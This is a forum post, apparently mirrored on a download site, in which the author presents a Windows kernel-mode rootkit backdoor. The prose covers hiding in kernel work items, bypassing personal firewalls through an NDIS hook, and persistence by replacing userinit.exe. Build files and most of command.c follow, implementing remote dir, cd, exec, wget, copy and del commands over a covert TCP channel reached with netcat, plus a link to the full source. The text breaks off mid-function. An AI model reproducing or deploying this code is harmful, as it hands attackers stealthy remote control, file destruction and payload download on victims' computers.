some ideAs About steAlth for rootkit

source.rar Verilog设计实例135例及源码 立即下载
some ideAs About steAlth for rootkit
By: uty

 

hi,i mAde A bAckdoor this dAys,just for leArning the skills.so some of the code you mAy fAmiliAr :> my english is poor,just reAd the source
this bAck door run in ring0 Atfer it gets stArted.And bypAss the personAl firewAll.
first of All,i think hide process is A bAd ideA,mAny methods cAn find them out.Then i see IO work items is just whAt i need.so without creAte A process or threAd,we hAve someting running in the kernel.

when one commAnd received,the IO work item get running,in A IO work item work function cAll IoQueueWorkItem.it's working but i didn't hAve time to find out whAt's going on in IoQueueWorkItem.

InsteAd of A cmd shell,there Are A few commAnds,like cd dir copy del .... this commAnd Also works in ring0,by using nAtive APIs exported by ntoskrnl.exe,you cAn Add Any commAnds you wAnt,we Are in ring0,we cAn do everything,right?

Second,nowAdAys xp sp2 And personAl firewAll Are widely used.So bypAss the firewAll becAmes A big deAl.I use ndis hook to get the pAcket. MAke two queues,one for received pAckets,one for the pAckets to be send out, reimplement A simple TCP connection.so the client i chose netcAt. if mAke A clinet by ourself,it will be more usefull And simple.

Third,how to stArt it. write registry is eAsy to be found,including hook reg functions,hide service item. in my heAd,i wAnt to infect the kernel, thAt's right, ntoskrnl.exe.like let my rootkit be one pArt of the kernel. i'm still working on it : ( . i find Another wAy to insteAd .not A very good one. it replAce the userinit.exe,when the system stArt, we first stArt the rootkit by loAd A sys file,then runing the reAl userinit.exe.



useAge:"uay.exe -i port" or "uay.exe -i" to instAll,"uay.exe -u" to uninstAll, "nc.exe ip port" to connection to it.

here follows the ring0 pArt,the whole thing cAn be downloAded At http://uty.512j.com/uay_source.rar ,which include the fAke userinit.exe

Admin note: as always, please keep in mind that precompiled executables may not be safe and that compiling the raw source may be a better approach.



_____SOURCES_____
TARGETNAME=ubd_sys
TARGETPATH=obj
TARGETTYPE=DRIVER

C_DEFINES=$(C_DEFINES) -DNDIS_MINIPORT_DRIVER -DNDIS_WDM=1

C_DEFINES=$(C_DEFINES) -DNDIS51_MINIPORT=1
C_DEFINES=$(C_DEFINES) -DNDIS51=1

TARGETLIBS=$(DDK_LIB_PATH)ndis.lib

MSC_WARING_LEVEL=/W3

SOURCES=NdisHook.c
  dummyprotocolfunc.c
  ubd_sys.c  
  commAnd.c
  utils.c  
  exec.c   
  wget.c   


_____mAkefile_____
#
# DO NOT EDIT THIS FILE!!!  Edit ./sources. if you want to add a new source
# file to this component.  This file merely indirects to the real make file
# that is shared by all the components of Windows NT
#
!INCLUDE $(NTMAKEENV)makefile.def



_____commAnd.c_____
///
// uty@uaty
///
#include <ntddk.h>
#include "structs.h"
#include "commAnd.h"
#include "utils.h"


NTSTATUS
uSend(
   PTCPS_Connection  pConnection,
   char     *pSendBuffer,
   ULONG     ulSendBufferSize
   );
/*
typedef struct FILE_BASIC_INFORMATION {
  LARGE_INTEGER  CreationTime;
  LARGE_INTEGER  LastAccessTime;
  LARGE_INTEGER  LastWriteTime;
  LARGE_INTEGER  ChangeTime;
  ULONG  FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;

typedef struct _FILE_DISPOSITION_INFORMATION {
  BOOLEAN  DeleteFile;
} FILE_DISPOSITION_INFORMATION;
*/

#define  SENDBUFLENGTH  1024
#define  MAXPATHLENGTH_W  511*2
#define  MAXPATHLENGTH_A  511
#define  MAXARGLENGTH_W  255*2
#define  MAXARGLENGTH_A  255

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);

NTSYSAPI
NTSTATUS
NTAPI
ZwDeleteFile(
IN POBJECT_ATTRIBUTES ObjectAttributes
);

NTSYSAPI
NTSTATUS
NTAPI
ZwSetInformationFile(
    IN HANDLE  FileHandle,
    OUT PIO_STATUS_BLOCK  IoStatusBlock,
    IN PVOID  FileInformation,
    IN ULONG  Length,
    IN FILE_INFORMATION_CLASS  FileInformationClass
    );

NTSYSAPI
NTSTATUS
NTAPI
ZwWriteFile(
IN HANDLE  FileHandle,
IN HANDLE  Event  OPTIONAL,
IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,
IN PVOID  ApcContext  OPTIONAL,
OUT PIO_STATUS_BLOCK  IoStatusBlock,
IN PVOID  Buffer,
IN ULONG  Length,
IN PLARGE_INTEGER  ByteOffset  OPTIONAL,
IN PULONG  Key  OPTIONAL
);

NTSYSAPI
NTSTATUS
NTAPI
ZwReadFile(
IN HANDLE  FileHandle,
IN HANDLE  Event  OPTIONAL,
IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,
IN PVOID  ApcContext  OPTIONAL,
OUT PIO_STATUS_BLOCK  IoStatusBlock,
OUT PVOID  Buffer,
IN ULONG  Length,
IN PLARGE_INTEGER  ByteOffset  OPTIONAL,
IN PULONG  Key  OPTIONAL
);

BOOLEAN
KWget(
PCHAR szURL,
PCHAR szFileNAme
);

BOOLEAN
KExec(
PCHAR CmdLine
);
//--------------------------------------------------------------------

//ReferenceCommAnd 不负责释放pRecvList占用的空间
NTSTATUS
ReferenceCommAnd(PRECVLIST pRecvList)
{
CHAR* usAge = "It think the most vAlueAble commAnds Are:/n"
     " dir /n"
     " cd /n"
     " exec /n"
     " wget /n"
     " copy /n"
     " del /n"
     " pwd /n"
     " chAngedriver /n"
     "  /n";
ULONG Argc;
CHAR* Argv[9];///9 Arguments is enough
WCHAR *tempforpAth;//equAl to TCPSConnection->m_PAth;
CHAR *AnsiTemp;//finAlly send to client
ULONG i;

tempforpAth  = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
AnsiTemp  = ExAllocatePool(PagedPool,SENDBUFLENGTH);

RtlCopyMemory(tempforpAth,L"//??//",sizeof(L"//??//"));
DbgPrint("commAndline: %s/n",pRecvList->dAtA);//debug
pRecvList->dAtA[strlen(pRecvList->dAtA)-1] = '/0';//remote the lAst /n

GetArg(pRecvList->dAtA,&Argc,Argv,9);
DbgPrint("Argc: %d/n",Argc);//debug

for(i = 0;i<Argc;i++){
  DbgPrint("%s/n",Argv[i]);
}

if(0 == _stricmp(Argv[0],"help")){
  uSend(
   pRecvList->pConnection,
   usAge,
   strlen(usAge)
   );
}
else if(0 == _stricmp(Argv[0],"dir")){
  //参数检查
  if(wcslen(tempforpAth) + wcslen(pRecvList->pConnection->m_PAth) < MAXPATHLENGTH_W){
   wcscat(tempforpAth,pRecvList->pConnection->m_PAth);// /??/m_PAth
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_ReferenceCommAnd;
  }
  CommAnd_Dir(pRecvList,tempforpAth);
}
else if(0 == _stricmp(Argv[0],"cd")){
  CommAnd_Cd(pRecvList,Argc,Argv);  
}
else if(0 == _stricmp(Argv[0],"exec")){
  CommAnd_Exec(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"wget")){
  CommAnd_Wget(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"copy")){
  CommAnd_Copy(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"del")){
  CommAnd_Del(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"pwd")){
  //m_PAth cAnnot big then 512
  wtoA((WCHAR*)pRecvList->pConnection->m_PAth,(CHAR*)AnsiTemp);
  strcat(AnsiTemp,"/n");////Avoid this situAtion c:u>
  uSend(
   pRecvList->pConnection,
   AnsiTemp,
   strlen(AnsiTemp)
   );
}
else if(0 == _stricmp(Argv[0],"chAngeDriver")){
  CommAnd_ChAngeDriver(pRecvList,Argc,Argv);
}
else if(0 == strcmp(Argv[0],"")){///for the press of enter ,but we remoted it
  //do nothing
}
else{
  uSend(
   pRecvList->pConnection,
   "unreferenced commAnd :>/n",
   strlen("unreferenced commAnd :>/n")
   );
}

end_ReferenceCommAnd:

ExFreePool(tempforpAth);
ExFreePool(AnsiTemp);

return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Dir(PRECVLIST pRecvList,WCHAR* pAth)
{
HANDLE       hFileHAndle;
OBJECT_ATTRIBUTES    oA;
IO_STATUS_BLOCK     IoStAtusBlock;
#define  INFORBUFFERLENGTH 1024
CHAR       *InforBuffer;
#define  TEMPBUFFERLENGTHBYTES 1020 //4 bytes for '/n'
WCHAR       *temp;
PFILE_DIRECTORY_INFORMATION  pInfor;
UNICODE_STRING     nAme;
NTSTATUS      dwStAtus;
CHAR       *SendBuffer;

SendBuffer  = ExAllocatePool(PagedPool,SENDBUFLENGTH);
InforBuffer  = ExAllocatePool(PagedPool,INFORBUFFERLENGTH);
temp   = ExAllocatePool(PagedPool,TEMPBUFFERLENGTHBYTES);

RtlInitUnicodeString(&nAme,pAth);
InitializeObjectAttributes(
  &oA,
  &nAme,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL
  );

dwStAtus = ZwOpenFile(
     &hFileHAndle,
     GENERIC_READ,
     &oA,
     &IoStAtusBlock,
     FILE_SHARE_READ,
     FILE_DIRECTORY_FILE
     );
DbgPrint("dwStAtus: 0x%x/n IoStAtusBlock.StAtus: 0x%x/n",dwStAtus,IoStAtusBlock.Status);
if(dwStAtus == STATUS_PENDING && IoStAtusBlock.Status != STATUS_SUCCESS){///需要改进
  uSend(
   pRecvList->pConnection,
   "error/n",
   strlen("error/n")
   );
}

do{
  RtlZeroMemory(InforBuffer,INFORBUFFERLENGTH);
  dwStAtus = ZwQueryDirectoryFile(
   hFileHAndle,
   NULL,
   NULL,
   NULL,
   &IoStAtusBlock,
   InforBuffer,
   INFORBUFFERLENGTH,
   FileDirectoryInformation,
   FALSE,
   NULL,
   FALSE
   );
  if (IoStAtusBlock.Status != STATUS_SUCCESS){//bug
   uSend(
    pRecvList->pConnection,
    "bAd directory/n",
    strlen("bAd directory/n")
    );
   goto end_CommAnd_Dir;
  }

  pInfor = (PFILE_DIRECTORY_INFORMATION)InforBuffer;

  RtlZeroMemory(temp,TEMPBUFFERLENGTHBYTES);
  RtlCopyMemory(temp,(char*)pInfor->FileName,pInfor->FileNameLength < TEMPBUFFERLENGTHBYTES ?pInfor->FileNameLength:TEMPBUFFERLENGTHBYTES);
  if(pInfor->FileAttributes & FILE_ATTRIBUTE_DIRECTORY){
   /////////////给文件夹加标志
   if(wcslen(temp) + wcslen(L"/t/t<DIR>") < MAXPATHLENGTH_W){
    wcscat(temp,L"/t/t<DIR>");
   }else{
    uSend(
     pRecvList->pConnection,
     "hAy! file nAme is too long,do you wAnnA A overflow?/n",
     strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
     );
    goto end_CommAnd_Dir;
   }
   ////////////
  }else{
   //do nothing
  }
  RtlZeroMemory(SendBuffer,SENDBUFLENGTH);
  wtoA(temp,SendBuffer);
  strcat(SendBuffer,"/n");
  uSend(
   pRecvList->pConnection,
   SendBuffer,
   strlen(SendBuffer)
   );
  //RtlZeroMemory(SendBuffer,1024);//不能在这里清
  do{
   pInfor = (PFILE_DIRECTORY_INFORMATION)((PCHAR)pInfor + pInfor->NextEntryOffset);
   RtlZeroMemory(temp,TEMPBUFFERLENGTHBYTES);
   RtlCopyMemory(temp,(char*)pInfor->FileName,pInfor->FileNameLength < TEMPBUFFERLENGTHBYTES ?pInfor->FileNameLength:TEMPBUFFERLENGTHBYTES);
   if(pInfor->FileAttributes & FILE_ATTRIBUTE_DIRECTORY){
    wcscat(temp,L"/t/t<DIR>");
   }else{
    //do nothing
   }
   RtlZeroMemory(SendBuffer,SENDBUFLENGTH);
   //don't worry the length here
   wtoA(temp,SendBuffer);
   strcat(SendBuffer,"/n");
   uSend(
    pRecvList->pConnection,
    SendBuffer,
    strlen(SendBuffer)/////
    );
   //RtlZeroMemory(SendBuffer,1024);//不能在这里清
  }while(pInfor->NextEntryOffset != 0);
}while(IoStAtusBlock.Status != STATUS_NO_MORE_FILES);

ZwClose(hFileHAndle);

end_CommAnd_Dir:
ExFreePool(SendBuffer);
ExFreePool(InforBuffer);
ExFreePool(temp);
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Cd(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
HANDLE     hFileHAndle;
OBJECT_ATTRIBUTES  oA;
UNICODE_STRING   nAme;
NTSTATUS    dwStAtus;
IO_STATUS_BLOCK   IoStAtusBlock;

WCHAR *tempforpAth;
WCHAR *tempforArg;//convert Argv[1] to WCHAR
ULONG i;

tempforpAth = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforArg = ExAllocatePool(PagedPool,MAXARGLENGTH_W);

if(Argc < 2){
  //do nothing
  goto end_CommAnd_Cd;
}
if(Argc > 2){
  uSend(
   pRecvList->pConnection,
   "too mAny Arguments/n",
   strlen("too mAny Arguments/n")
   );
  goto end_CommAnd_Cd;
}
if(0 == strcmp(Argv[1],"..")){ //cd ..
  for (i = wcslen(pRecvList->pConnection->m_PAth);i > 0;i--){
   if(pRecvList->pConnection->m_PAth[i] == L'//'){//Add L, whAtever
    pRecvList->pConnection->m_PAth[i] = L'/0';
    if(wcslen(pRecvList->pConnection->m_PAth) == 2){//x:
     wcscat(pRecvList->pConnection->m_PAth,L"//");
    }
   }
  }
  return STATUS_SUCCESS;
}
if(0 == strcmp(Argv[1],"//")){ //cd /
  pRecvList->pConnection->m_PAth[3] = L'/0';
  goto end_CommAnd_Cd;
}

RtlZeroMemory(tempforArg,MAXARGLENGTH_W);
if(strlen(Argv[1]) < MAXARGLENGTH_A){
  Atow(Argv[1],tempforArg);
}else{
  uSend(
   pRecvList->pConnection,
   "hAy! file nAme is too long,do you wAnnA A overflow?/n",
   strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
   );
  goto end_CommAnd_Cd;
}
//sprintf(tempforpAth,L"//??//%S//%S",pRecvList->pConnection->m_PAth,tempforArg);
RtlZeroMemory(tempforpAth,MAXPATHLENGTH_W);
RtlCopyMemory(tempforpAth,L"//??//",sizeof(L"//??//"));//not wcslen
if ((wcslen(tempforpAth) + wcslen(pRecvList->pConnection->m_PAth))*2 < MAXPATHLENGTH_W ){
  wcscat(tempforpAth,pRecvList->pConnection->m_PAth);
}else{
  uSend(
   pRecvList->pConnection,
   "hAy! file nAme is too long,do you wAnnA A overflow?/n",
   strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
   );
  goto end_CommAnd_Cd;
}
//wcscat(tempforpAth,L"//");// / 另加
if((wcslen(tempforpAth) + wcslen(tempforArg))*2 < MAXPATHLENGTH_W){
  wcscat(tempforpAth,tempforArg);
}else{
  uSend(
   pRecvList->pConnection,
   "hAy! file nAme is too long,do you wAnnA A overflow?/n",
   strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
   );
  goto end_CommAnd_Cd;
}
DbgPrint("cd PAth: %S/n",tempforpAth);//debug


RtlInitUnicodeString(&nAme,tempforpAth);
InitializeObjectAttributes(
  &oA,
  &nAme,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL
  );
dwStAtus = ZwOpenFile(
     &hFileHAndle,
     GENERIC_READ,
     &oA,
     &IoStAtusBlock,
     FILE_SHARE_READ,
     FILE_DIRECTORY_FILE
     );

DbgPrint("dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug

if (dwStAtus != STATUS_SUCCESS || dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){//需要改进
  uSend(
   pRecvList->pConnection,
   "direcotry does not exists/n",
   strlen("direcotry does not exists/n")
   );
}else{
  if((wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg) + 2 )*2 < MAXPATHLENGTH_W){//1 for L"//"
   wcscat(pRecvList->pConnection->m_PAth,tempforArg);
   wcscat(pRecvList->pConnection->m_PAth,L"//");
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Cd;
  }
}
ZwClose(hFileHAndle);

end_CommAnd_Cd:
ExFreePool(tempforpAth);
ExFreePool(tempforArg);

return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Del(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
HANDLE     hFileHAndle;
OBJECT_ATTRIBUTES  oA;
UNICODE_STRING   nAme;
IO_STATUS_BLOCK   IoStAtusBlock;
NTSTATUS    dwStAtus;

WCHAR *tempforpAth;
WCHAR *tempforArg;
ULONG i;

FILE_BASIC_INFORMATION    fileBAsicInfor= {0};
FILE_DISPOSITION_INFORMATION  fileDispositionInfor;

tempforpAth = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforArg = ExAllocatePool(PagedPool,MAXARGLENGTH_W);

for(i = 1;i < Argc;i++){
  RtlZeroMemory(tempforArg,MAXARGLENGTH_W);
  //check the Arg,
  if (strlen(Argv[i]) < MAXARGLENGTH_A){
   Atow(Argv[i],tempforArg);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Del;
  }
  RtlZeroMemory(tempforpAth,MAXPATHLENGTH_W);
  RtlCopyMemory(tempforpAth,L"//??//",sizeof(L"//??//"));
  //check the Arg
  if((wcslen(tempforpAth) + wcslen(pRecvList->pConnection->m_PAth))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth,pRecvList->pConnection->m_PAth);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Del;
  }
  if((wcslen(tempforpAth) + wcslen(tempforArg))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth,tempforArg);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Del;
  }
  DbgPrint("del file: %S/n",tempforpAth);//debug
  RtlInitUnicodeString(&nAme,tempforpAth);
  InitializeObjectAttributes(
   &oA,
   &nAme,
   OBJ_CASE_INSENSITIVE,
   NULL,
   NULL
   );
  
  dwStAtus = ZwOpenFile(
      &hFileHAndle,
      GENERIC_READ|FILE_WRITE_ATTRIBUTES|DELETE,//|GENERIC_WRITE|DELETE,
      &oA,
      &IoStAtusBlock,
      FILE_SHARE_READ|FILE_SHARE_WRITE,
      FILE_NON_DIRECTORY_FILE
      );
  DbgPrint("ZwOpenFile dwStAtus: 0x%x/n",dwStAtus);//debug
  DbgPrint("ZwOpenFile IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
  if (dwStAtus != STATUS_SUCCESS || dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){
   uSend(
    pRecvList->pConnection,
    Argv[i],
    strlen(Argv[i])
    );
   uSend(
    pRecvList->pConnection,
    " do not exists/n",
    strlen(" do not exists/n")
    );
   continue;
  }
  fileBAsicInfor.FileAttributes = FILE_ATTRIBUTE_NORMAL;//&= ~(FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
  dwStAtus = ZwSetInformationFile(
      hFileHAndle,
      &IoStAtusBlock,
      &fileBAsicInfor,
      sizeof(FILE_BASIC_INFORMATION),
      FileBasicInformation
      );
  DbgPrint("dwStAtus: 0x%x/n",dwStAtus);//debug
  DbgPrint("IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug

  fileDispositionInfor.DeleteFile = TRUE;
  dwStAtus = ZwSetInformationFile(
      hFileHAndle,
      &IoStAtusBlock,
      &fileDispositionInfor,
      sizeof(FILE_DISPOSITION_INFORMATION),
      FileDispositionInformation
      );
  DbgPrint("dwStAtus: 0x%x/n",dwStAtus);//debug
  DbgPrint("IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
  if(hFileHAndle){
   ZwClose(hFileHAndle);
  }
  /*
  dwStAtus = ZwDeleteFile(
   &oA
   );
  DbgPrint("dwStAtus: 0x%x/n",dwStAtus);
  if(dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){
   uSend(
    pRecvList->pConnection,
    Argv[i],
    strlen(Argv[i])
    );
   uSend(
    pRecvList->pConnection,
    " do not exists/n",
    strlen(" do not exists/n")
    );
   continue;
  }
  else if(dwStAtus == STATUS_ACCESS_DENIED){
   uSend(
    pRecvList->pConnection,
    Argv[i],
    strlen(Argv[i])
    );
   uSend(
    pRecvList->pConnection,
    " : ACCESS DENIED/n",
    strlen(" : ACCESS DENIED/n")
    );
   continue;
  }
  else if(dwStAtus == STATUS_SUCCESS){
   //do noting;
   
   continue;
  }
  else if(dwStAtus == STATUS_CANNOT_DELETE){
   uSend(
    pRecvList->pConnection,
    Argv[i],
    strlen(Argv[i])
    );
   uSend(
    pRecvList->pConnection,
    " : CANNOT DELETE/n",
    strlen(" : CANNOT DELETE/n")
    );
  }
  else{
   uSend(
    pRecvList->pConnection,
    "del: error/n",
    strlen("del: error/n")
    );
   continue;
  }
  */
}//for

end_CommAnd_Del:
ExFreePool(tempforpAth);
ExFreePool(tempforArg);

return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Copy(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
HANDLE     hFile_source,hFile_dest;
OBJECT_ATTRIBUTES  oA_source,oA_dest;
UNICODE_STRING   nAme_source,nAme_dest;
NTSTATUS    dwStAtus;
IO_STATUS_BLOCK   IoStAtusBlock;

//WCHAR  tempforpAth_source[512],tempforpAth_dest[512];
//WCHAR  tempforArg_source[256],tempforArg_dest[256];
WCHAR  *tempforpAth_source,*tempforpAth_dest;
WCHAR  *tempforArg_source,*tempforArg_dest;

//CHAR  CopyBuffer[1024];  //kernel stAck is precious
CHAR  *CopyBuffer;
ULONG  CopyLength;

CopyBuffer   = ExAllocatePool(PagedPool,1024);
tempforpAth_source = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforpAth_dest = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforArg_source = ExAllocatePool(PagedPool,MAXARGLENGTH_W);
tempforArg_dest  = ExAllocatePool(PagedPool,MAXARGLENGTH_W);



if (Argc > 3){
  uSend(
   pRecvList->pConnection,
   "too mAny Arguments/n",
   strlen("too mAny Arguments/n")
   );
  goto end_CommAnd_Copy;
}
if (Argc < 3){
  uSend(
   pRecvList->pConnection,
   "too few Arguments/n",
   strlen("too few Arguments/n")
   );
  goto end_CommAnd_Copy;
}

RtlZeroMemory(tempforArg_source,MAXARGLENGTH_W);
RtlZeroMemory(tempforArg_dest,MAXARGLENGTH_W);
DbgPrint("strlen(Argv[1]):%d/n",strlen(Argv[1]));//debug
DbgPrint("strlen(Argv[2]):%d/n",strlen(Argv[2]));
if(strlen(Argv[1]) < MAXARGLENGTH_A && strlen(Argv[2]) < MAXARGLENGTH_A){
  Atow(Argv[1],tempforArg_source);
  Atow(Argv[2],tempforArg_dest);
}else{
  uSend(
   pRecvList->pConnection,
   "hAy! file nAme is too long,do you wAnnA A overflow?/n",
   strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
   );
  goto end_CommAnd_Copy;
}

RtlZeroMemory(tempforpAth_source,MAXPATHLENGTH_W);
RtlZeroMemory(tempforpAth_dest,MAXPATHLENGTH_W);
RtlCopyMemory(tempforpAth_source,L"//??//",sizeof(L"//??//"));
RtlCopyMemory(tempforpAth_dest,L"//??//",sizeof(L"//??//"));

if(tempforArg_source[1] == L':' && tempforArg_source[0] != L' '){
  //绝对路径,包括盘符
  if ((wcslen(tempforpAth_source) + wcslen(tempforArg_source))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth_source,tempforArg_source);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Copy;
  }
}else{
  //
  DbgPrint("(wcslen(tempforpAth_source) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_source) : %d/n",wcslen(tempforpAth_source) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_source));//debug
  
  if((wcslen(tempforpAth_source) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_source))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth_source,pRecvList->pConnection->m_PAth);
   wcscat(tempforpAth_source,tempforArg_source);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Copy;
  }
}
if(tempforArg_dest[1] == L':' && tempforArg_dest[0] != L' '){
  if ((wcslen(tempforpAth_dest) + wcslen(tempforArg_dest))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth_dest,tempforArg_dest);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Copy;
  }
}else{
  //
  DbgPrint("wcslen(tempforpAth_dest) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_dest):%d/n",wcslen(tempforpAth_dest) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_dest));
  if((wcslen(tempforpAth_dest) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_dest))*2 < MAXPATHLENGTH_W){
   wcscat(tempforpAth_dest,pRecvList->pConnection->m_PAth);
   wcscat(tempforpAth_dest,tempforArg_dest);
  }else{
   uSend(
    pRecvList->pConnection,
    "hAy! file nAme is too long,do you wAnnA A overflow?/n",
    strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
    );
   goto end_CommAnd_Copy;
  }
}
DbgPrint("copy source: %S/n",tempforpAth_source);//debug
DbgPrint("copy dest: %S/n",tempforpAth_dest);//debug
RtlInitUnicodeString(&nAme_source,tempforpAth_source);
RtlInitUnicodeString(&nAme_dest,tempforpAth_dest);
InitializeObjectAttributes(
   &oA_source,
   &nAme_source,
   OBJ_CASE_INSENSITIVE,
   NULL,
   NULL
   );
InitializeObjectAttributes(
   &oA_dest,
   &nAme_dest,
   OBJ_CASE_INSENSITIVE,
   NULL,
   NULL
   );


dwStAtus = ZwOpenFile(
     &hFile_source,
     GENERIC_READ|SYNCHRONIZE,
     &oA_source,
     &IoStAtusBlock,
     FILE_SHARE_READ,
     FILE_SYNCHRONOUS_IO_NONALERT|FILE_NON_DIRECTORY_FILE
     );
DbgPrint("ZwOpenFile dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("ZwOpenFile IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
if (dwStAtus != STATUS_SUCCESS || dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){//需要改进
  uSend(
   pRecvList->pConnection,
   Argv[1],
   strlen(Argv[1])
   );
  uSend(
   pRecvList->pConnection,
   " do not exists/n",
   strlen(" do not exists/n")
   );
  //return dwStAtus;
  goto end_CommAnd_Copy;
}

dwStAtus = ZwCreateFile(
     &hFile_dest,
     GENERIC_WRITE|SYNCHRONIZE,
     &oA_dest,
     &IoStAtusBlock,
     0,
     FILE_ATTRIBUTE_NORMAL,
     0,
     FILE_CREATE,
     FILE_SYNCHRONOUS_IO_NONALERT,
     NULL,
     0
     );
DbgPrint("ZwCreAteFile dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("ZwCreAteFile IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug

if (dwStAtus != STATUS_SUCCESS){//需要改进
  uSend(
   pRecvList->pConnection,
   "file AlreAdy exists or bAd pAth/n",
   strlen("file AlreAdy exists or bAd pAth/n")
   );
  //return dwStAtus;
  goto end_CommAnd_Copy;
}
dwStAtus = ZwReadFile(
     hFile_source,
     NULL,
     NULL,
     NULL,
     &IoStAtusBlock,
     CopyBuffer,
     1024,
     NULL,
     NULL
     );
CopyLength = IoStAtusBlock.Information;
while(NT_SUCCESS(dwStAtus)){
  ZwWriteFile(
   hFile_dest,
   NULL,
   NULL,
   NULL,
   &IoStAtusBlock,
   CopyBuffer,
   CopyLength,
   NULL,
   NULL
   );
  dwStAtus = ZwReadFile(
      hFile_source,
      NULL,
      NULL,
      NULL,
      &IoStAtusBlock,
      CopyBuffer,
      1024,
      NULL,
      NULL
      );
  CopyLength = IoStAtusBlock.Information;
}

ZwClose(hFile_source);
ZwClose(hFile_dest);

end_CommAnd_Copy:
ExFreePool(CopyBuffer);
ExFreePool(tempforpAth_source);
ExFreePool(tempforpAth_dest);
ExFreePool(tempforArg_source);
ExFreePool(tempforArg_dest);
return dwStAtus;



return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Wget(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
BOOLEAN  result;
if(Argc != 3){
  uSend(
   pRecvList->pConnection,
